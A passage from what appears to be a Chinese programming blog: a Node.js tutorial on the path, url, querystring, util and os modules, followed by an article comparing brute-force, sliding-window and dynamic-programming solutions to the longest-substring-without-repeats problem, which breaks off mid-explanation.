  dir: '/home/user/dir',
  base: 'file.txt',
  ext: '.txt',
  name: 'file'
};

console.log(path.format(pathObject));
// 输出: '/home/user/dir/file.txt'

path.normalize(path) - 规范化路径

规范化路径字符串,解析 ... 片段,并处理多余的路径分隔符。

const path = require('path');

console.log(path.normalize('/foo/bar//baz/asdf/quux/..'));
// 输出: '/foo/bar/baz/asdf'

console.log(path.normalize('C:\\temp\\\\foo\\bar\\..\\'));
// Windows 输出: 'C:\\temp\\foo\\'

path.isAbsolute(path) - 判断是否为绝对路径

判断路径是否为绝对路径。

const path = require('path');

console.log(path.isAbsolute('/foo/bar')); // true
console.log(path.isAbsolute('/baz/..'));  // true
console.log(path.isAbsolute('qux/'));     // false
console.log(path.isAbsolute('.'));        // false

// Windows
console.log(path.isAbsolute('C:\\foo'));  // true
console.log(path.isAbsolute('\\foo'));    // true

path.relative(from, to) - 计算相对路径

计算从 fromto 的相对路径。

const path = require('path');

console.log(path.relative('/data/orandea/test/aaa', '/data/orandea/impl/bbb'));
// 输出: '../../impl/bbb'

console.log(path.relative('C:\\orandea\\test\\aaa', 'C:\\orandea\\impl\\bbb'));
// Windows 输出: '..\\..\\impl\\bbb'

1.3 特殊变量

  • __dirname:当前模块的目录名(CommonJS)
  • __filename:当前模块的文件名(CommonJS)
const path = require('path');

// 获取当前文件的目录
console.log(__dirname);
// 输出: /path/to/current/directory

// 获取当前文件的完整路径
console.log(__filename);
// 输出: /path/to/current/directory/file.js

// 构建相对于当前文件的路径
const configPath = path.join(__dirname, 'config', 'app.json');

1.4 实用示例

const path = require('path');
const fs = require('fs').promises;

// 示例1:安全地构建文件路径
async function readConfig() {
  const configPath = path.join(__dirname, 'config', 'app.json');
  const data = await fs.readFile(configPath, 'utf8');
  return JSON.parse(data);
}

// 示例2:获取文件信息
function getFileInfo(filePath) {
  return {
    fullPath: path.resolve(filePath),
    dirname: path.dirname(filePath),
    basename: path.basename(filePath),
    extname: path.extname(filePath),
    name: path.basename(filePath, path.extname(filePath))
  };
}

console.log(getFileInfo('/home/user/docs/report.pdf'));
// 输出:
// {
//   fullPath: '/home/user/docs/report.pdf',
//   dirname: '/home/user/docs',
//   basename: 'report.pdf',
//   extname: '.pdf',
//   name: 'report'
// }

// 示例3:处理上传文件的扩展名
function isImageFile(filename) {
  const ext = path.extname(filename).toLowerCase();
  return ['.jpg', '.jpeg', '.png', '.gif', '.webp'].includes(ext);
}

console.log(isImageFile('photo.jpg'));  // true
console.log(isImageFile('document.pdf')); // false

二、url 模块:URL 解析

url 模块提供了用于解析和格式化 URL 的实用工具。Node.js 推荐使用 WHATWG URL API

2.1 引入模块

// WHATWG URL API(推荐)
const { URL, URLSearchParams } = require('url');

2.2 WHATWG URL API(推荐)

new URL(input[, base]) - 创建 URL 对象

const { URL } = require('url');

// 绝对 URL
const myURL = new URL('https://example.org:8080/p/a/t/h?query=string#hash');

console.log(myURL.href);        // 'https://example.org:8080/p/a/t/h?query=string#hash'
console.log(myURL.protocol);    // 'https:'
console.log(myURL.hostname);    // 'example.org'
console.log(myURL.port);        // '8080'
console.log(myURL.pathname);    // '/p/a/t/h'
console.log(myURL.search);      // '?query=string'
console.log(myURL.hash);        // '#hash'

// 相对 URL(需要提供 base)
const baseURL = 'https://example.org/foo/bar';
const relativeURL = new URL('../baz', baseURL);
console.log(relativeURL.href);  // 'https://example.org/foo/baz'

URL 对象属性

const { URL } = require('url');
const myURL = new URL('https://user:pass@sub.example.com:8080/p/a/t/h?query=string#hash');

console.log(myURL.protocol);    // 'https:'
console.log(myURL.username);    // 'user'
console.log(myURL.password);    // 'pass'
console.log(myURL.host);        // 'sub.example.com:8080'
console.log(myURL.hostname);    // 'sub.example.com'
console.log(myURL.port);        // '8080'
console.log(myURL.pathname);    // '/p/a/t/h'
console.log(myURL.search);      // '?query=string'
console.log(myURL.searchParams); // URLSearchParams 对象
console.log(myURL.hash);        // '#hash'
console.log(myURL.origin);      // 'https://sub.example.com:8080'

URLSearchParams - 查询参数处理

URLSearchParams 提供了强大的查询字符串操作方法。

const { URL, URLSearchParams } = require('url');

// 从 URL 对象获取查询参数
const myURL = new URL('https://example.com/?name=Kai&age=30&city=Beijing');
const params = myURL.searchParams;

// 获取参数值
console.log(params.get('name'));     // 'Kai'
console.log(params.get('age'));     // '30'
console.log(params.has('city'));    // true

// 设置参数
params.set('age', '31');
params.set('email', 'kai@example.com');

// 追加参数
params.append('hobby', 'coding');
params.append('hobby', 'reading');

// 删除参数
params.delete('city');

// 获取所有值
console.log(params.getAll('hobby')); // ['coding', 'reading']

// 遍历参数
for (const [key, value] of params) {
  console.log(`${key}: ${value}`);
}

// 转换为字符串
console.log(params.toString());
// 输出: 'name=Kai&age=31&email=kai%40example.com&hobby=coding&hobby=reading'

// 排序
params.sort();
console.log(params.toString());

独立使用 URLSearchParams

const { URLSearchParams } = require('url');

// 从字符串创建
const params1 = new URLSearchParams('foo=bar&abc=xyz&abc=123');
console.log(params1.get('foo'));      // 'bar'
console.log(params1.getAll('abc'));   // ['xyz', '123']

// 从对象创建
const params2 = new URLSearchParams({
  user: 'admin',
  password: 'secret123'
});
console.log(params2.toString());     // 'user=admin&password=secret123'

// 从 Map 创建
const map = new Map([
  ['name', 'John'],
  ['age', '30']
]);
const params3 = new URLSearchParams(map);
console.log(params3.toString());      // 'name=John&age=30'

2.3 实用示例

const { URL, URLSearchParams } = require('url');

// 示例1:构建带查询参数的 URL
function buildURL(baseURL, params) {
  const url = new URL(baseURL);
  Object.keys(params).forEach(key => {
    url.searchParams.set(key, params[key]);
  });
  return url.href;
}

console.log(buildURL('https://api.example.com/users', {
  page: '1',
  limit: '10',
  sort: 'name'
}));
// 输出: 'https://api.example.com/users?page=1&limit=10&sort=name'

// 示例2:解析和修改 URL
function updateURLPort(urlString, newPort) {
  const url = new URL(urlString);
  url.port = newPort;
  return url.href;
}

console.log(updateURLPort('https://example.com:8080/path', '3000'));
// 输出: 'https://example.com:3000/path'

// 示例3:验证 URL
function isValidURL(str) {
  try {
    new URL(str);
    return true;
  } catch {
    return false;
  }
}

console.log(isValidURL('https://example.com'));  // true
console.log(isValidURL('not-a-url'));           // false

// 示例4:提取域名
function getDomain(urlString) {
  const url = new URL(urlString);
  return url.hostname;
}

console.log(getDomain('https://www.example.com:8080/path?query=1'));
// 输出: 'www.example.com'

三、querystring 模块:查询字符串处理

querystring 模块提供了用于解析和格式化 URL 查询字符串的实用工具。虽然 URLSearchParams 更现代,但 querystring 模块在处理自定义分隔符时仍然有用。

3.1 引入模块

const querystring = require('querystring');

3.2 常用方法

querystring.parse(str[, sep[, eq[, options]]]) - 解析查询字符串

将查询字符串解析为对象。

const querystring = require('querystring');

// 基本用法
const qs = 'year=2017&month=february&day=15';
const parsed = querystring.parse(qs);
console.log(parsed);
// 输出: { year: '2017', month: 'february', day: '15' }
console.log(parsed.year);   // '2017'
console.log(parsed.month);   // 'february'

// 自定义分隔符
const customQS = 'year:2017;month:february';
const parsed2 = querystring.parse(customQS, ';', ':');
console.log(parsed2);
// 输出: { year: '2017', month: 'february' }

// 解码选项
const encodedQS = 'name=John%20Doe&city=New%20York';
const parsed3 = querystring.parse(encodedQS);
console.log(parsed3);
// 输出: { name: 'John Doe', city: 'New York' }

querystring.stringify(obj[, sep[, eq[, options]]]) - 序列化为查询字符串

将对象序列化为查询字符串。

const querystring = require('querystring');

// 基本用法
const obj = {
  year: 2017,
  month: 'february',
  day: 15
};
const qs = querystring.stringify(obj);
console.log(qs);
// 输出: 'year=2017&month=february&day=15'

// 自定义分隔符
const customQS = querystring.stringify(obj, ';', ':');
console.log(customQS);
// 输出: 'year:2017;month:february;day:15'

// 编码选项
const obj2 = {
  name: 'John Doe',
  city: 'New York'
};
const encodedQS = querystring.stringify(obj2);
console.log(encodedQS);
// 输出: 'name=John%20Doe&city=New%20York'

// 处理数组
const obj3 = {
  tags: ['nodejs', 'javascript', 'web']
};
console.log(querystring.stringify(obj3));
// 输出: 'tags=nodejs&tags=javascript&tags=web'

querystring.escape(str) - URL 编码

对字符串进行 URL 编码(通常不需要直接调用,stringify 会自动处理)。

const querystring = require('querystring');

console.log(querystring.escape('hello world'));
// 输出: 'hello%20world'

console.log(querystring.escape('foo@bar.com'));
// 输出: 'foo%40bar.com'

querystring.unescape(str) - URL 解码

对字符串进行 URL 解码(通常不需要直接调用,parse 会自动处理)。

const querystring = require('querystring');

console.log(querystring.unescape('hello%20world'));
// 输出: 'hello world'

console.log(querystring.unescape('foo%40bar.com'));
// 输出: 'foo@bar.com'

3.3 实用示例

const querystring = require('querystring');

// 示例1:解析 URL 查询字符串
function parseQueryString(urlString) {
  const queryString = urlString.split('?')[1] || '';
  return querystring.parse(queryString);
}

const url = 'https://example.com/search?q=nodejs&page=1&limit=10';
const params = parseQueryString(url);
console.log(params);
// 输出: { q: 'nodejs', page: '1', limit: '10' }

// 示例2:构建查询字符串
function buildQueryString(params) {
  return querystring.stringify(params);
}

const searchParams = {
  q: 'nodejs tutorial',
  page: 1,
  sort: 'relevance'
};
console.log(buildQueryString(searchParams));
// 输出: 'q=nodejs%20tutorial&page=1&sort=relevance'

// 示例3:合并查询参数
function mergeQueryParams(baseParams, newParams) {
  const merged = { ...baseParams, ...newParams };
  return querystring.stringify(merged);
}

const base = { page: 1, limit: 10 };
const additional = { sort: 'name', order: 'asc' };
console.log(mergeQueryParams(base, additional));
// 输出: 'page=1&limit=10&sort=name&order=asc'

// 示例4:处理嵌套对象(需要自定义序列化)
function stringifyNested(obj, prefix = '') {
  const pairs = [];
  for (const key in obj) {
    if (obj.hasOwnProperty(key)) {
      const value = obj[key];
      const newKey = prefix ? `${prefix}[${key}]` : key;
      
      if (typeof value === 'object' && value !== null && !Array.isArray(value)) {
        pairs.push(...stringifyNested(value, newKey));
      } else if (Array.isArray(value)) {
        value.forEach((item, index) => {
          pairs.push(`${newKey}[${index}]=${encodeURIComponent(item)}`);
        });
      } else {
        pairs.push(`${newKey}=${encodeURIComponent(value)}`);
      }
    }
  }
  return pairs;
}

const nested = {
  user: {
    name: 'John',
    age: 30
  },
  tags: ['nodejs', 'javascript']
};
console.log(stringifyNested(nested).join('&'));
// 输出: 'user[name]=John&user[age]=30&tags[0]=nodejs&tags[1]=javascript'

四、util 模块:工具函数

util 模块提供了多种实用工具函数,帮助开发者处理常见的编程任务,如类型检查、调试、Promise 转换等。

4.1 引入模块

const util = require('util');

4.2 常用方法

util.format(format[, ...args]) - 格式化字符串

返回格式化后的字符串,类似于 C 语言的 printf 函数。

const util = require('util');

// 基本用法
console.log(util.format('%s:%s', 'foo', 'bar'));
// 输出: 'foo:bar'

console.log(util.format('%d + %d = %d', 1, 2, 3));
// 输出: '1 + 2 = 3'

// 占位符
// %s - 字符串
// %d - 数字(整数或浮点数)
// %j - JSON
// %% - 百分号
console.log(util.format('Name: %s, Age: %d, Data: %j', 'John', 30, { city: 'NYC' }));
// 输出: 'Name: John, Age: 30, Data: {"city":"NYC"}'

// 如果没有提供格式字符串,则将所有参数用空格连接
console.log(util.format('Hello', 'World', 123));
// 输出: 'Hello World 123'

util.inspect(object[, options]) - 对象检查

返回对象的字符串表示,通常用于调试。这是 console.log 内部使用的方法。

const util = require('util');

const obj = {
  name: 'John',
  age: 30,
  nested: {
    city: 'NYC',
    hobbies: ['coding', 'reading']
  }
};

// 基本用法
console.log(util.inspect(obj));
// 输出: { name: 'John', age: 30, nested: { city: 'NYC', hobbies: [ 'coding', 'reading' ] } }

// 选项配置
console.log(util.inspect(obj, {
  colors: true,        // 使用颜色
  depth: 2,           // 最大递归深度
  compact: false,     // 每个属性一行
  showHidden: true,   // 显示不可枚举属性
  breakLength: 80     // 换行长度
}));

// 自定义 inspect 方法
class CustomObject {
  constructor(value) {
    this.value = value;
  }
  
  [util.inspect.custom]() {
    return `CustomObject(${this.value})`;
  }
}

const custom = new CustomObject(42);
console.log(util.inspect(custom));
// 输出: 'CustomObject(42)'

util.promisify(original) - Promise 化

将遵循错误优先回调风格的函数转换为返回 Promise 的函数。

const util = require('util');
const fs = require('fs');

// 将回调函数转换为 Promise
const readFile = util.promisify(fs.readFile);
const writeFile = util.promisify(fs.writeFile);

// 使用 async/await
async function readConfig() {
  try {
    const data = await readFile('config.json', 'utf8');
    return JSON.parse(data);
  } catch (error) {
    console.error('读取文件失败:', error);
    throw error;
  }
}

// 使用 .then()
readFile('data.txt', 'utf8')
  .then(data => console.log(data))
  .catch(err => console.error(err));

// 自定义 Promise 化函数
function customFunction(arg, callback) {
  setTimeout(() => {
    if (arg > 0) {
      callback(null, arg * 2);
    } else {
      callback(new Error('参数必须大于0'));
    }
  }, 100);
}

const promisifiedCustom = util.promisify(customFunction);

promisifiedCustom(5)
  .then(result => console.log(result))  // 输出: 10
  .catch(err => console.error(err));

util.callbackify(original) - 回调化

promisify 相反,将返回 Promise 的函数转换为使用回调的函数。

const util = require('util');
const fs = require('fs').promises;

// 将 Promise 函数转换为回调函数
const readFileCallback = util.callbackify(fs.readFile);

readFileCallback('file.txt', 'utf8', (err, data) => {
  if (err) {
    console.error('错误:', err);
    return;
  }
  console.log('数据:', data);
});

util.types - 类型检查

提供各种类型检查函数。

const util = require('util');

// 检查是否为数组
console.log(util.types.isArrayBuffer(new ArrayBuffer()));  // true
console.log(util.types.isArrayBuffer([]));                 // false

// 检查是否为 Date 对象
console.log(util.types.isDate(new Date()));                // true
console.log(util.types.isDate(Date.now()));                // false

// 检查是否为 Map
console.log(util.types.isMap(new Map()));                  // true

// 检查是否为 Set
console.log(util.types.isSet(new Set()));                  // true

// 检查是否为 Promise
console.log(util.types.isPromise(Promise.resolve()));     // true

// 检查是否为 RegExp
console.log(util.types.isRegExp(/abc/));                   // true

// 检查是否为 String 对象
console.log(util.types.isStringObject(new String('foo'))); // true
console.log(util.types.isStringObject('foo'));             // false

util.debuglog(section) - 调试日志

创建一个调试日志函数,仅在设置了 NODE_DEBUG 环境变量时才会输出日志。

const util = require('util');

const debuglog = util.debuglog('foo');

// 设置环境变量: NODE_DEBUG=foo node app.js
debuglog('Hello from foo [%d]', 123);
// 只有在设置了 NODE_DEBUG=foo 时才会输出

// 多个调试标签
const debug1 = util.debuglog('foo');
const debug2 = util.debuglog('bar');

debug1('这是 foo 的调试信息');
debug2('这是 bar 的调试信息');

// 运行: NODE_DEBUG=foo,bar node app.js

util.deprecate(fn, msg[, code]) - 标记为弃用

标记函数为已弃用,调用时会显示警告信息。

const util = require('util');

const deprecatedFunction = util.deprecate(() => {
  console.log('这个函数已被弃用');
}, 'deprecatedFunction() 已弃用,请使用 newFunction() 代替');

deprecatedFunction();
// 输出警告: (node:12345) DeprecationWarning: deprecatedFunction() 已弃用,请使用 newFunction() 代替

4.3 实用示例

const util = require('util');
const fs = require('fs');

// 示例1:深度克隆对象(使用 JSON 序列化,有局限性)
function deepClone(obj) {
  return JSON.parse(JSON.stringify(obj));
}
// 注意:此方法无法克隆函数、undefined、Symbol、Date 对象等
// 更好的方式:使用结构化克隆(Node.js 17+)或库如 lodash.cloneDeep

// 示例2:格式化错误对象
function formatError(error) {
  return util.inspect(error, {
    colors: true,
    depth: null
  });
}

try {
  throw new Error('Something went wrong');
} catch (err) {
  console.log(formatError(err));
}

// 示例3:批量 Promise 化
function promisifyAll(obj) {
  const promisified = {};
  for (const key in obj) {
    if (typeof obj[key] === 'function') {
      promisified[key] = util.promisify(obj[key].bind(obj));
    }
  }
  return promisified;
}

const fsPromises = promisifyAll(fs);
// 现在可以使用 fsPromises.readFile, fsPromises.writeFile 等

// 示例4:创建调试工具
function createDebugger(namespace) {
  const debug = util.debuglog(namespace);
  return {
    log: (...args) => debug(util.format(...args)),
    info: (...args) => debug(`[INFO] ${util.format(...args)}`),
    error: (...args) => debug(`[ERROR] ${util.format(...args)}`)
  };
}

const logger = createDebugger('app');
// 运行: NODE_DEBUG=app node app.js
logger.log('Application started');
logger.info('Processing request');
logger.error('An error occurred');

五、os 模块:操作系统信息

os 模块提供了与操作系统相关的信息和方法,允许开发者获取系统架构、平台、CPU 信息、内存使用情况、网络接口等。

5.1 引入模块

const os = require('os');

5.2 常用方法和属性

os.platform() - 获取操作系统平台

返回操作系统平台标识符。

const os = require('os');

console.log(os.platform());
// 可能的值:
// 'darwin' - macOS
// 'win32' - Windows
// 'linux' - Linux
// 'freebsd' - FreeBSD
// 'openbsd' - OpenBSD

os.arch() - 获取 CPU 架构

返回操作系统的 CPU 架构。

const os = require('os');

console.log(os.arch());
// 可能的值:
// 'x64' - 64位
// 'arm' - ARM
// 'arm64' - ARM 64位
// 'ia32' - 32位

os.cpus() - 获取 CPU 信息

返回每个逻辑 CPU 内核的信息数组。

const os = require('os');

const cpus = os.cpus();
console.log(`CPU 核心数: ${cpus.length}`);

cpus.forEach((cpu, index) => {
  console.log(`CPU ${index}:`);
  console.log(`  型号: ${cpu.model}`);
  console.log(`  速度: ${cpu.speed} MHz`);
  console.log(`  用户时间: ${cpu.times.user} ms`);
  console.log(`  系统时间: ${cpu.times.sys} ms`);
  console.log(`  空闲时间: ${cpu.times.idle} ms`);
});

// 计算 CPU 使用率
// 注意:此函数仅用于演示基本概念。实际应用中,CPU 使用率需要通过两次采样(间隔一段时间)来计算差值才能得到准确结果
function getCPUUsage() {
  const cpus = os.cpus();
  let totalIdle = 0;
  let totalTick = 0;
  
  cpus.forEach(cpu => {
    const times = cpu.times;
    totalIdle += times.idle;
    totalTick += times.user + times.nice + times.sys + times.idle + times.irq;
  });
  
  const idle = totalIdle / cpus.length;
  const total = totalTick / cpus.length;
  const usage = 100 - ~~(100 * idle / total);
  
  return usage;
}

os.totalmem() - 获取总内存

返回系统的总内存量(以字节为单位)。

const os = require('os');

const totalMem = os.totalmem();
console.log(`总内存: ${(totalMem / 1024 / 1024 / 1024).toFixed(2)} GB`);

os.freemem() - 获取空闲内存

返回系统的空闲内存量(以字节为单位)。

const os = require('os');

const freeMem = os.freemem();
console.log(`空闲内存: ${(freeMem / 1024 / 1024 / 1024).toFixed(2)} GB`);

// 计算内存使用率
function getMemoryUsage() {
  const total = os.totalmem();
  const free = os.freemem();
  const used = total - free;
  const usagePercent = (used / total * 100).toFixed(2);
  
  return {
    total: formatBytes(total),
    used: formatBytes(used),
    free: formatBytes(free),
    usagePercent: `${usagePercent}%`
  };
}

function formatBytes(bytes) {
  return `${(bytes / 1024 / 1024 / 1024).toFixed(2)} GB`;
}

os.hostname() - 获取主机名

返回操作系统的主机名。

const os = require('os');

console.log(os.hostname());
// 输出: 'my-computer'

os.type() - 获取操作系统类型

返回操作系统的类型。

const os = require('os');

console.log(os.type());
// 可能的值:
// 'Linux' - Linux
// 'Darwin' - macOS
// 'Windows_NT' - Windows

os.release() - 获取操作系统版本

返回操作系统的版本号。

const os = require('os');

console.log(os.release());
// 输出: '5.4.0-74-generic' (Linux)
// 或: '20.6.0' (macOS)
// 或: '10.0.19043' (Windows)

os.uptime() - 获取系统运行时间

返回系统的运行时间(以秒为单位)。

const os = require('os');

const uptime = os.uptime();
const days = Math.floor(uptime / 86400);
const hours = Math.floor((uptime % 86400) / 3600);
const minutes = Math.floor((uptime % 3600) / 60);
const seconds = uptime % 60;

console.log(`系统运行时间: ${days}${hours}小时 ${minutes}分钟 ${seconds}秒`);

os.homedir() - 获取用户主目录

返回当前用户的主目录路径。

const os = require('os');

console.log(os.homedir());
// Windows: 'C:\\Users\\username'
// Linux/macOS: '/home/username'

os.tmpdir() - 获取临时目录

返回操作系统的临时文件目录路径。

const os = require('os');

console.log(os.tmpdir());
// Windows: 'C:\\Users\\username\\AppData\\Local\\Temp'
// Linux: '/tmp'
// macOS: '/var/folders/...'

os.networkInterfaces() - 获取网络接口

返回网络接口信息对象。

const os = require('os');

const interfaces = os.networkInterfaces();

for (const name of Object.keys(interfaces)) {
  console.log(`接口: ${name}`);
  interfaces[name].forEach(iface => {
    // 兼容不同 Node.js 版本:family 可能是 'IPv4' 或 4
    const isIPv4 = iface.family === 'IPv4' || iface.family === 4;
    if (isIPv4 && !iface.internal) {
      console.log(`  IPv4: ${iface.address}`);
      console.log(`  子网掩码: ${iface.netmask}`);
    }
  });
}

// 获取本机 IP 地址
function getLocalIP() {
  const interfaces = os.networkInterfaces();
  for (const name of Object.keys(interfaces)) {
    for (const iface of interfaces[name]) {
      // 兼容不同 Node.js 版本:family 可能是 'IPv4' 或 4
      const isIPv4 = iface.family === 'IPv4' || iface.family === 4;
      if (isIPv4 && !iface.internal) {
        return iface.address;
      }
    }
  }
  return '127.0.0.1';
}

console.log(`本机 IP: ${getLocalIP()}`);

os.endianness() - 获取字节序

返回 CPU 的字节序。

const os = require('os');

console.log(os.endianness());
// 'BE' - 大端序
// 'LE' - 小端序(常见)

os.EOL - 行尾标识符

返回操作系统的行尾标识符。

const os = require('os');

console.log(os.EOL);
// Windows: '\r\n'
// Unix/Linux/macOS: '\n'

// 使用示例
const content = `第一行${os.EOL}第二行${os.EOL}第三行`;

5.3 实用示例

const os = require('os');

// 示例1:系统信息汇总
// 获取本机 IP 地址的辅助函数
function getLocalIP() {
  const interfaces = os.networkInterfaces();
  for (const name of Object.keys(interfaces)) {
    for (const iface of interfaces[name]) {
      // 兼容不同 Node.js 版本:family 可能是 'IPv4' 或 4
      const isIPv4 = iface.family === 'IPv4' || iface.family === 4;
      if (isIPv4 && !iface.internal) {
        return iface.address;
      }
    }
  }
  return '127.0.0.1';
}

function getSystemInfo() {
  return {
    platform: os.platform(),
    arch: os.arch(),
    hostname: os.hostname(),
    type: os.type(),
    release: os.release(),
    uptime: formatUptime(os.uptime()),
    cpus: {
      count: os.cpus().length,
      model: os.cpus()[0].model
    },
    memory: {
      total: formatBytes(os.totalmem()),
      free: formatBytes(os.freemem()),
      used: formatBytes(os.totalmem() - os.freemem()),
      usagePercent: ((os.totalmem() - os.freemem()) / os.totalmem() * 100).toFixed(2) + '%'
    },
    network: getLocalIP()
  };
}

function formatBytes(bytes) {
  const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
  if (bytes === 0) return '0 B';
  const i = Math.floor(Math.log(bytes) / Math.log(1024));
  return Math.round(bytes / Math.pow(1024, i) * 100) / 100 + ' ' + sizes[i];
}

function formatUptime(seconds) {
  const days = Math.floor(seconds / 86400);
  const hours = Math.floor((seconds % 86400) / 3600);
  const minutes = Math.floor((seconds % 3600) / 60);
  return `${days}${hours}小时 ${minutes}分钟`;
}

console.log(getSystemInfo());

// 示例2:监控系统资源
// 计算 CPU 使用率的辅助函数(简化版本,实际使用时建议使用两次采样)
function getCPUUsage() {
  const cpus = os.cpus();
  let totalIdle = 0;
  let totalTick = 0;
  
  cpus.forEach(cpu => {
    const times = cpu.times;
    totalIdle += times.idle;
    totalTick += times.user + times.nice + times.sys + times.idle + times.irq;
  });
  
  const idle = totalIdle / cpus.length;
  const total = totalTick / cpus.length;
  const usage = 100 - ~~(100 * idle / total);
  
  return usage;
}

function monitorSystem(interval = 5000) {
  setInterval(() => {
    const memUsage = (os.totalmem() - os.freemem()) / os.totalmem() * 100;
    // 注意:getCPUUsage() 需要两次采样才能准确,这里仅作演示
    const cpuUsage = getCPUUsage();
    
    console.log(`内存使用率: ${memUsage.toFixed(2)}%`);
    console.log(`CPU 使用率: ${cpuUsage}%`);
    
    if (memUsage > 90) {
      console.warn('警告: 内存使用率过高!');
    }
    if (cpuUsage > 90) {
      console.warn('警告: CPU 使用率过高!');
    }
  }, interval);
}

// 示例3:根据平台选择不同的行为
function platformSpecificAction() {
  switch (os.platform()) {
    case 'win32':
      console.log('Windows 特定操作');
      // Windows 特定代码
      break;
    case 'darwin':
      console.log('macOS 特定操作');
      // macOS 特定代码
      break;
    case 'linux':
      console.log('Linux 特定操作');
      // Linux 特定代码
      break;
    default:
      console.log('其他平台');
  }
}

// 示例4:创建临时文件路径
const path = require('path');

function createTempFilePath(prefix = 'temp', suffix = '.txt') {
  const tmpDir = os.tmpdir();
  const timestamp = Date.now();
  const random = Math.random().toString(36).substring(7);
  return path.join(tmpDir, `${prefix}-${timestamp}-${random}${suffix}`);
}

// 示例5:检测系统负载
function getSystemLoad() {
  const cpus = os.cpus();
  const load = cpus.map(cpu => {
    const total = Object.values(cpu.times).reduce((a, b) => a + b);
    const usage = ((total - cpu.times.idle) / total * 100).toFixed(2);
    return parseFloat(usage);
  });
  
  const avgLoad = (load.reduce((a, b) => a + b, 0) / load.length).toFixed(2);
  
  return {
    perCore: load,
    average: parseFloat(avgLoad)
  };
}

console.log('系统负载:', getSystemLoad());

总结

本文详细介绍了 Node.js 中五个重要的工具模块:

  1. path 模块:处理文件路径,提供跨平台兼容性
  2. url 模块:解析和格式化 URL,推荐使用 WHATWG URL API
  3. querystring 模块:处理查询字符串的解析和序列化
  4. util 模块:提供各种实用工具函数,如类型检查、Promise 转换、调试等
  5. os 模块:获取操作系统相关信息,如平台、CPU、内存等

这些模块都是 Node.js 的内置模块,无需安装即可使用。熟练掌握这些模块能够大大提高开发效率,让代码更加健壮和可维护。

最佳实践建议

  1. 路径处理:始终使用 path.join()path.resolve() 而不是字符串拼接
  2. URL 处理:使用 WHATWG URL API(URLURLSearchParams
  3. 查询字符串:对于简单场景使用 querystring,复杂场景使用 URLSearchParams
  4. 异步转换:使用 util.promisify() 将回调函数转换为 Promise
  5. 系统信息:使用 os 模块进行跨平台兼容性处理
  6. 继承:使用 ES6 的 classextends 语法,而不是已弃用的 util.inherits()

参考资源:

“无重复字符的最长子串”:从O(n²)哈希优化到滑动窗口封神,再到DP降维打击!


💼 面试真实场景还原:你以为的“聪明解法”,其实是半吊子陷阱

你信心满满地坐在会议室里,面试官微微一笑:

“来,实现一个函数 lengthOfLongestSubstring(s),找出字符串中最长无重复字符的子串长度。”

image.png

你心里一喜:这题我会!不是有重复就用哈希表吗?

于是你提笔就写:

function lengthOfLongestSubstring(s) {
  let maxLen = 0;
  for (let i = 0; i < s.length; i++) {
    const seen = new Set();
    for (let j = i; j < s.length; j++) {
      if (seen.has(s[j])) break;
      seen.add(s[j]);
      maxLen = Math.max(maxLen, j - i + 1);
    }
  }
  return maxLen;
}

写完还补充一句:“我用了 Set 来去重,时间复杂度是 O(n²),空间 O(k),比三重循环快多了!”

面试官点点头:“嗯,能跑。那……有没有更优的?或者换个思路?”

你愣住了。

👉 其实你不知道的是:虽然滑动窗口是这道题的主流解法,但这个问题竟然也能用 DP(动态规划)优雅解决!

今天我们就来 补全最后一块拼图 —— 揭秘“无重复字符的最长子串”的 第三种解法:动态规划,并全面对比三种主流方法,带你从“只会背模板”进化到“真正理解状态转移”。


🔥 问题本质:不是找“前任列表”,是找“连续恋爱期”

首先搞清楚一件事:子串 ≠ 子序列

  • 子序列:像回忆录,可以跳着看,中间断几年都行。
  • 子串:像同居生活,必须天天见面,还得住在一起(连续)!

题目要求我们找一个字符串中最长的一段连续区间,里面每个字符都不重复。比如:

👉 字符串 "abcabcbb"
可能的答案有:"abc"、"bca"、"cab" —— 长度都是 3 ✅
但你要是说 "abcb",对不起,'b' 出现两次,属于“感情劈腿”,直接出局 ❌

🎯 目标明确:找一段最持久且专一的连续关系 😂

而你之前的 O(n²) 解法,就像一次次重新谈恋爱:

  • 从第一个人开始谈 → 谈到重复就分手
  • 再从第二个人开始谈 → 又谈一遍……

能不能别这么累?能不能“边走边调整”,而不是每次都重头再来?

当然能!这就引出我们的终极武器——


🛠️ 方法一:暴力 + 哈希优化(O(n²))—— 初级选手的舒适区

✅ 思路回顾:

枚举所有起点 i,从该点出发向右扩展,直到遇到重复字符为止。

使用 Set 快速判断是否重复,避免内层再遍历一次。

✅ 代码实现:

function lengthOfLongestSubstring_O_n2(s) {
  let maxLen = 0;
  for (let i = 0; i < s.length; i++) {
    const seen = new Set();
    for (let j = i; j < s.length; j++) {
      if (seen.has(s[j])) break;
      seen.add(s[j]);
      maxLen = Math.max(maxLen, j - i + 1);
    }
  }
  return maxLen;
}

⚠️ 缺点分析:

  • 时间复杂度仍是 O(n²),在长字符串下会超时(如 LeetCode 测试用例)
  • 虽然用了 Set 优化,但本质上还是“重复劳动”:很多子串被反复扫描

💬 类比:每次失恋后都要重新相亲,不能吸取教训。


🧩 方法二:滑动窗口 + Map(O(n))—— 主流王者方案

✅ 核心思想:

维护一个“动态窗口” [left, i],只允许无重复字符存在。

右指针 i 不断扩张,左指针 left 在发现重复时收缩。

利用 Map 记录每个字符最近出现的位置,实现 O(1) 查找。

✅ 关键逻辑:

if (map.has(char) && map.get(char) >= left) {
  left = map.get(char) + 1; // 移动左边界
}

只有当重复字符位于当前窗口内时才调整 left,防止“回退”。

✅ 完整代码:

function lengthOfLongestSubstring_SlidingWindow(s) {
  const map = new Map();
  let left = 0, res = 0;

  for (let i = 0; i < s.length; i++) {
    const char = s[i];
    if (map.has(char) && map.get(char) >= left) {
      left = map.get(char) + 1;
    }
    map.set(char, i);
    res = Math.max(res, i - left + 1);
  }

  return res;
}

✅ 优点:

  • 时间复杂度 O(n),每个字符仅访问一次
  • 空间 O(k),k 为字符集大小
  • 逻辑清晰,易于迁移至其他子串问题

🎯 方法三:动态规划 DP(O(n))—— 高阶玩家的秘密武器

你以为 DP 只能做背包和爬楼梯?错!它也能优雅解决本题!

✅ 核心定义:

dp[i] 表示 以第 i 个字符结尾的最长无重复子串的长度

最终答案:max(dp[0], dp[1], ..., dp[n-1])


🔍 状态转移方程推导:

我们要回答:dp[i] 如何由 dp[i-1] 推出?

分两种情况:

情况 条件 转移方式
✅ 当前字符未出现过 lastIndex == -1 dp[i] = dp[i-1] + 1
✅ 当前字符曾出现过 lastIndex >= 0 dp[i] = min(dp[i-1] + 1, i - lastIndex)

💡 解释:新子串不能包含上次相同的字符,所以最长只能从 lastIndex + 1 开始


📌 DP 解法详细步骤拆解(以 "abcb" 为例)

